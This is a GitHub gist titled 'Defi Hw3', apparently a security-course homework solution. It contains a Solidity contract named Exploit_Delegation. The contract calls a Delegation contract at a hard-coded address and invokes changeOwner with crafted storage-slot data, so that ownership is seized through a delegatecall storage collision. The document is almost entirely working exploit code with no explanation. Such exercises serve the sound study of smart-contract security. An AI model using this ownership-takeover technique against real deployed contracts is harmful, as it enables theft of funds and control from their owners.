Created
November 5, 2023 16:39
-
-
Save Ice1187/7bbc33ccfd8bfd1dffff3836ff19c956 to your computer and use it in GitHub Desktop.
Defi Hw3
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "delegation.sol"; | |
contract Exploit_Delegation { | |
Delegation delegation; | |
Delegate delegate; | |
constructor() { | |
delegation = Delegation(0x14BEc5f1E0113c2f0C32F10b939DE1699c3496b6); | |
delegate = Delegate(0x56e3B9a9137C5DfC846560f720a3B23567925721); | |
} | |
function exploit() public { | |
address(delegation).call( | |
abi.encodeCall( | |
Delegate.changeOwner, ( | |
bytes32(0x000000000000000000000001c0538f7373975834b09174ae8db41fd6cc9e9056), | |
address(0xC0538F7373975834b09174ae8DB41fd6Cc9e9056) | |
) | |
) | |
); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment